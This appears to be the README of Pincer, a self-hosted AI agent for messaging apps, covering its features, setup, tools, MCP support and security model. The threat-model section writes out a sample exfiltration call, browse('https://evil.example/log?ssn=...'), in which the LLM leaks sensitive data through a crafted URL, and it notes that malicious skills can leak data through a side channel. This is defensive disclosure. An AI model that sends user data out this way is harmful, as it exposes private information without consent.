pincerhq/pincer

pip install pincer-agent && pincer init

---

🆕 What’s new in 0.7.6 (2026-04-19)

• Slack Native — 71 tools (messages, channels, users, files, reactions, pins/bookmarks/reminders/search) in src/pincer/integrations/slack/. Enable with PINCER_SLACK_BOT_TOKEN (+ PINCER_SLACK_USER_TOKEN for search).
• MCP OAuth 2.0 Authorization Server — expose Pincer tools to remote MCP clients: /authorize · /token · /introspect · /revoke, RFC 8414 metadata, PKCE, JWT, scope-based access.
• Google Workspace Meet v2 — 27 new tools (spaces, conference records, recordings, transcripts, smart notes). Google Workspace total is now 113.
• Tools Catalog — docs/TOOLS_CATALOG.md documents all 297 native tools (24 core + 27 skills + 113 Google Workspace + 62 Microsoft 365 + 71 Slack) plus unlimited via MCP.

📖 Full release notes → CHANGELOG.md · Upgrade guide → docs/announcements/v0.7.6.md

---

TL;DR

• What: An open-source AI agent that lives in WhatsApp, Telegram, Discord, Slack, Signal, and Email — 600+ tools out of the box (Google Workspace, Microsoft 365, native Slack, Google Meet, image generation, voice calling, MCP), connects to any MCP server, and actually does things
• For whom: Developers and technical users who want a personal agent they can self-host, audit, and extend
• Why it exists: Existing agents had malicious plugins, surprise bills, and codebases too large to review
• How it’s different: Clean Python codebase. Straightforward config via env vars. Skills sandboxed in subprocesses. Hard daily spending cap
• How it stays safe: User allowlist, tool approval prompts, AST scanning, skill signing, structured audit log — and pincer doctor to verify it all

---

What is this?

Pincer is an open-source AI agent that lives in your messaging apps. You text it — “check my emails, summarize anything important, and add the meetings to my calendar” — and it does it. It runs on your machine, talks to the LLM of your choice, and the entire codebase is readable Python you can audit in an afternoon.

You (WhatsApp): Check my email and brief me on anything important

🦜 Pincer: 📧 12 unread, 3 need attention:

1. Contract from Sarah — needs signature by 5pm
2. Server alert — CPU spike on prod (resolved itself)
3. Board meeting moved to Thursday 2pm

📅 Updated your calendar: • Thu 2pm — Board meeting (moved from Wednesday) • Fri 11am — Design review follow-up (new)

💰 $0.003 · $4.92 remaining today

---

Why I built this

I was running a popular AI agent when two things happened in the same week: I got hit with a $127 API bill I didn’t authorize, and a security researcher found that a skill I’d installed had been quietly phoning home with my chat history.

By day, I’m a radiologist — I also research and build AI for the medical sector. When your work involves regulated patient data, seeing a personal AI agent silently exfiltrate conversations hits differently. I realized the agent I wanted didn’t exist: one where I could read the whole codebase, set a hard spending cap, and know that plugins are strictly sandboxed.

So I built it. Pincer is the agent I wanted. If you want the same thing, it’s yours.

---

Design Trade-offs Compared

Fair comparison note: OpenClaw is a respected project that proved personal AI agents are what people want. It optimizes for plugin ecosystem breadth and community size. Pincer optimizes for auditability, cost control, and sandboxed security. Different goals, different trade-offs. Versions compared: Pincer 0.7.x vs OpenClaw as of Feb 2026.

---

⚡ Quick Start

Prerequisites

You need three things: Python 3.14+, an LLM API key (Anthropic or OpenAI out of the box; Grok, Ollama, and any OpenAI-/Anthropic-compatible endpoint also supported), and a Telegram bot token (takes 2 min via @BotFather).

Option 1: pip

pip install pincer-agent
pincer init                  # 5-min interactive wizard
pincer run                   # done — message your bot on Telegram

Option 2: Docker

git clone https://github.com/pincerhq/pincer.git && cd pincer
cp .env.example .env         # edit with your API keys
docker compose up -d         # dashboard on localhost:8080

Option 3: One-click cloud

Minimal .env

PINCER_ANTHROPIC_API_KEY=sk-ant-...    # well-known: anthropic or openai (compatible endpoints use *_COMPATIBLE_*)
PINCER_TELEGRAM_BOT_TOKEN=7000000:AAx... # From @BotFather
PINCER_TELEGRAM_ALLOWED_USERS=123456789  # Your Telegram user ID
PINCER_DAILY_BUDGET_USD=5.00           # Hard daily spending limit in USD

Full config reference →

---

Core vs Peripheral

Pincer is solo-maintained. To set honest expectations, features are explicitly split:

Voice is mid-promotion. Everything the 🟡 tier requires is in place — the harness (both languages, all personas including red-team) is a release-blocking CI gate, the docs are complete, and the exit criteria are machine-checked. What is missing is the evidence: 200 real calls across pilot customers. pincer voice ops ga-gate reports exactly which criteria are still undecided, and the badge above stays 🧪 until it says ready. Flipping it earlier is the one thing that would make the gate decorative.

---

📱 Channels

Cross-channel memory: Tell the agent something on WhatsApp. Ask about it on Telegram. It remembers — SQLite + FTS5 full-text search, vector embeddings for semantic recall, auto-summarization, and entity extraction.

---

🔧 Tools — 303 native, 600+ with MCP

Pincer ships 303 first-party tools and plugs into any MCP server to reach 600+ out of the box. Full list in docs/TOOLS_CATALOG.md.

Approval model: destructive tools (shell_exec, python_exec, file_write, email_send, make_phone_call, and every writing action on external APIs) ask in chat before executing. You reply ✅ or ❌.

Full tools catalog →

---

🖼️ Image Generation

Pincer has a built-in generate_image tool powered by fal.ai (primary) and Google Gemini (fallback). The provider is selected automatically based on which key is configured.

# Enable fal.ai (recommended)
PINCER_FAL_KEY=...

# Or Gemini
PINCER_GEMINI_API_KEY=...

# Optional controls
PINCER_IMAGE_MAX_COST_PER_REQUEST=0.10   # USD cap per generation
PINCER_IMAGE_DAILY_LIMIT=50             # Max generations per day

Install the optional dependency:

pip install "pincer-agent[image]"

You (Telegram): Generate an image of a futuristic Tokyo street at night in cyberpunk style

🦜 Pincer: (sends the generated image inline) Done — generated in 4.2s via fal.ai · $0.004

---

🔌 MCP — Model Context Protocol

Pincer is a full MCP client and MCP server. Connect any MCP-compliant tool server (GitHub, Postgres, Notion, Stripe, custom) and its tools appear in the agent automatically.

# pincer.toml
[[mcp.servers]]
name = "github"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
env = { GITHUB_PERSONAL_ACCESS_TOKEN = "ghp_..." }

[[mcp.servers]]
name = "postgres"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-postgres", "postgresql://..."]

pincer mcp list          # show connected servers + status
pincer mcp tools         # list all registered MCP tools
pincer mcp test github   # test a specific server connection
pincer mcp call github get_file_contents --repo pincerhq/pincer --path README.md

Install the optional dependency:

pip install "pincer-agent[mcp]"

MCP OAuth 2.0

Pincer also acts as an OAuth 2.0 Authorization Server for MCP clients. Any MCP client can authenticate against Pincer using standard OAuth 2.0 with PKCE:

• /authorize, /token, /introspect, /revoke endpoints
• RFC 8414 server metadata
• Scope-based access control
• JWT tokens via PyJWT
• Bearer token middleware for protected routes

Full MCP guide →

---

🧩 Skills

Skills extend the agent with Anthropic’s open Agent Skills format: a directory with a SKILL.md file, discovered purely from the filesystem — no install step, no CLI. Skills and MCP servers coexist.

Drop one in ~/.pincer/skills//SKILL.md and restart; the agent reads its name + description from the system prompt, then calls load_skill(name) to read the full instructions, load_skill_reference(name, path) for extra files, and run_skill_script(name, script, args) — sandboxed, approval-gated — if it ships a script.

5 bundled skills ship with Pincer, documenting its own capabilities: skill-authoring, memory-recall, mcp-server-setup, scheduler-briefings, doctor-troubleshooting.

---

🛡️ Security & Threat Model

Pincer is designed around two assumptions: every inbound message is untrusted input, and every skill is potentially malicious.

What Pincer protects against

What Pincer does NOT protect against

• Compromised host OS — if your server is rooted, all bets are off
• Malicious LLM provider — if the API itself is compromised, Pincer can’t detect that
• Social engineering of the user — Pincer can’t stop you from approving a bad tool call
• Side-channel exfiltration — a skill that encodes data into tool output text could leak information to the LLM context; we mitigate but can’t fully prevent this

Honest trade-offs

Sandboxing adds 40–120ms latency per tool call (subprocess spawn + IPC). For most use cases this is unnoticeable. For latency-critical pipelines, you can disable sandboxing per-skill at your own risk via sandbox: false in the manifest.

Real-world failure example

If the LLM attempts to exfiltrate data by crafting a browse URL containing sensitive content (e.g., browse("https://evil.example/log?ssn=123-45-6789")), the request executes — Pincer doesn’t inspect tool input semantics, only permissions. Mitigation: the audit log captures every tool call, and pincer doctor flags unusual outbound patterns. Full prevention requires output filtering, which is on the roadmap.

pincer doctor

One command audits your setup — 40+ checks covering config, keys, permissions, skills, MCP, image generation, and network exposure:

$ pincer doctor
  🦜 Pincer Doctor v0.8.x
  ✅ API key valid (claude-sonnet-4-5-20250929)
  ✅ Telegram connected (@my_pincer_bot)
  ✅ Daily budget: $5.00
  ✅ 11 skills installed, all scored ≥ 80
  ✅ Google Workspace: 113 tools registered
  ✅ Microsoft 365: 62 tools registered (per-identity auth, lazy on first use)
  ✅ Slack native: 71 tools registered
  ✅ MCP: 2 servers connected (github, postgres) — 42 extra tools
  ✅ Image generation: fal.ai key present, daily limit 50
  ⚠️  Discord DM policy is "open" — consider "pairing"
  ✅ No exposed ports beyond localhost
  44 passed · 1 warning · 0 critical

Full security model → · Found a vulnerability? Security Policy

---

📊 Quantified Use Cases

Personal email triage (real numbers from beta testing):

• 40–60 emails/day processed, 3–5 flagged as important
• Calendar auto-updated 2–3 times/day
• Daily LLM cost: $0.18–$0.35 (Claude Sonnet 4.5)
• Monthly: ~$7 with daily budget cap of $0.50

Voice calling for appointments:

• 4 outbound calls/week (dentist, insurance, scheduling)
• Average call duration: 2.5 minutes
• Cost per call: ~$0.12 (Twilio + Deepgram + ElevenLabs)
• Monthly voice cost: ~$2

Image generation:

• On-demand via fal.ai: ~$0.004/image (fal-ai/nano-banana-2)
• Configurable daily limit and per-request cost cap
• Images delivered inline in Telegram, Discord, and Web UI

Fully offline with Ollama:

• Llama 3.3 70B via Ollama on an M2 Mac
• API cost: $0.00. Response time: 3–8 seconds depending on context length
• Trade-off: less reliable tool use than Claude, no voice calling

---

Who this is NOT for

• Non-technical users — Pincer requires terminal access, env vars, and API keys. There’s no GUI installer.
• Enterprises needing SSO/compliance today — multi-user, audit export, and SSO are planned but not shipped yet.
• Zero-setup expectations — you will spend 5–10 minutes configuring API keys and channel tokens.
• People who want a hosted service — Pincer runs on your machine. Managed hosting is on the roadmap, not available today.

---

What we intentionally didn’t build

• No hosted cloud — your data stays on your hardware. We’re not a SaaS.
• No auto-installed skills — skills are only loaded from directories you place under ~/.pincer/skills/ yourself; scripts they ship always require approval before executing.
• No team features — Pincer is a single-user personal agent. Multi-user is planned, not promised.
• No telemetry — zero analytics, zero crash reports, zero phone-home. Verify: grep -r "telemetry\|analytics\|tracking" src/.
• No framework dependency — no LangChain, no CrewAI, no abstractions. Pure asyncio + provider SDKs.

These are focus decisions, not limitations. Every feature we didn’t build is maintenance we didn’t take on.

---

---

🏛️ Architecture

graph TD
    WA[📱 WhatsApp] --> CR[Channel Router]
    TG[📱 Telegram] --> CR
    DC[🎮 Discord] --> CR
    SL[💼 Slack] --> CR
    EM[📧 Email] --> CR
    VC[📞 Voice] --> CR
    SG[🔒 Signal] --> CR
    WB[🌐 Web UI] --> CR

    CR --> AC[🧠 Agent Core · ReAct Loop]

    AC --> TR[🔧 Tool Registry + Sandbox]
    AC --> MM[🗃️ Memory · SQLite + FTS5 + Embeddings]
    AC --> SS[👤 Sessions · Per-channel · Per-user]
    AC --> MCP[🔌 MCP Client + OAuth Server]
    AC --> IMG[🖼️ Image Generation · fal.ai + Gemini]

    TR --> BT[Built-in Tools · 304 native]
    TR --> SK[Custom Skills · Sandboxed]
    TR --> GW[Google Workspace · 113 tools]
    TR --> MS[Microsoft 365 · 62 tools · multi-user]
    TR --> SLK[Slack Native · 71 tools]
    MCP --> EXT[External MCP Servers · GitHub · Postgres · etc.]

1. Message arrives → load session + relevant memories
2. Send to LLM with available tools (built-in + skills + MCP tools)
3. LLM returns tool call → execute in sandbox → feed result back → repeat
4. LLM returns text → deliver to user via originating channel
5. Save session, update memory, log cost

No frameworks. No abstractions. async/await + the Anthropic SDK.

---

🗺️ Roadmap

• [x] Agent core, memory, tools, security, cost controls
• [x] Telegram, WhatsApp, Discord, Slack, Microsoft Teams, Email, Signal
• [x] Skill system with sandboxing, AST scanning, signing
• [x] Docker + one-click deploys (Railway, Render, DigitalOcean)
• [x] Voice calling (Twilio + STT/TTS + compliance)
• [x] Google Workspace integration (113 tools via pincer google setup)
• [x] Microsoft 365 integration (62 tools, multi-user, lazy per-identity auth)
• [x] Slack native integration (71 tools)
• [x] MCP client + OAuth 2.0 authorization server
• [x] Google Meet full surface — spaces, recordings, transcripts, smart notes
• [ ] iMessage — help wanted
• [ ] SMS — Twilio SMS channel
• [ ] Zoom — Meeting channel
• [ ] Encrypted memory — at-rest database encryption
• [ ] Multi-agent routing — specialized sub-agents
• [ ] Managed hosting — for non-self-hosters (exploring, not promised)

Full roadmap: GitHub Discussions → Roadmap

---

Sustainability

Pincer is solo-maintained, open-source, and unfunded. That’s a feature, not a weakness — no investor pressure means no forced pivots, no telemetry, no “free tier sunsets.”

The plan: grow the contributor community, move toward shared governance as trust is established (see Governance), and eventually explore a managed hosting option to fund ongoing maintenance. Nothing is promised beyond what’s shipped today.

---

🤝 Community

We welcome contributions from everyone — first-timers, experienced engineers, doctors who code, tinkerers, and enthusiasts.

git clone https://github.com/pincerhq/pincer.git
cd pincer && uv sync && pytest

Discord · GitHub Discussions · Contributing guide · Governance

---

📖 Documentation

---

🙏 Acknowledgements

Anthropic · aiogram · neonize · discord.py · Twilio · Deepgram · ElevenLabs · Playwright · fal.ai · Rich · Typer · OpenClaw — for proving personal AI agents are what people want · Every beta tester and contributor who helped ship this

---

📜 License: MIT — LICENSE · 🔐 Security: Security Policy — do not open public issues for vulnerabilities

---